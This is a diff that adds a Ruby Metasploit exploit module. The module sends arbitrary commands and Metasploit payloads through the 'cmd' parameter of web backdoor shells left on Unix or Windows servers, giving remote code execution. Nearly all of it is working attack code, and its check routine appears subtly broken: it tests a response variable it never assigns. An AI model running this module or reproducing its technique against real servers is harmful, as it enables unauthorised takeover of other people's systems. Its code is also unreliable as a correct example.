|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Simple Backdoor Shell Remote Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits unauthenticated simple web backdoor shells by leveraging the |
| 18 | + common backdoor shell's CMD parameter to execute commands. The SecLists project of |
| 19 | + Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells |
| 20 | + which is categorized under Payloads. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Jay Turla <@shipcod3>', |
| 26 | + ], |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ], |
| 30 | + [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed |
| 31 | + ], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'Space' => 2000, |
| 36 | + 'BadChars' => '', |
| 37 | + 'DisableNops' => true, |
| 38 | + 'Compat' => |
| 39 | + { |
| 40 | + 'PayloadType' => 'cmd' |
| 41 | + } |
| 42 | + }, |
| 43 | + 'Platform' => %w{ unix win }, |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + ['backdoor / Unix', { 'Platform' => 'unix' } ], |
| 48 | + ['backdoor / Windows', { 'Platform' => 'win' } ] |
| 49 | + ], |
| 50 | + 'DisclosureDate' => 'Sep 08 2015', |
| 51 | + 'DefaultTarget' => 0)) |
| 52 | + |
| 53 | + register_options( |
| 54 | + [ |
| 55 | + OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']), |
| 56 | + ],self.class) |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + test = Rex::Text.rand_text_alpha(8) |
| 61 | + http_send_command(test) |
| 62 | + if res && res.body =~ /#{test}/ |
| 63 | + return Exploit::CheckCode::Vulnerable |
| 64 | + end |
| 65 | + return Exploit::CheckCode::Safe |
| 66 | + end |
| 67 | + |
| 68 | + def http_send_command(cmd) |
| 69 | + res = send_request_cgi({ |
| 70 | + 'method' => 'GET', |
| 71 | + 'uri' => normalize_uri(target_uri.path), |
| 72 | + 'vars_get' => { |
| 73 | + 'cmd' => cmd |
| 74 | + } |
| 75 | + }) |
| 76 | + unless res && res.code == 200 |
| 77 | + fail_with(Failure::Unknown, "Failed to execute the command.") |
| 78 | + end |
| 79 | + res |
| 80 | + end |
| 81 | + |
| 82 | + def exploit |
| 83 | + http_send_command(payload.encoded) |
| 84 | + end |
| 85 | +end |
0 commit comments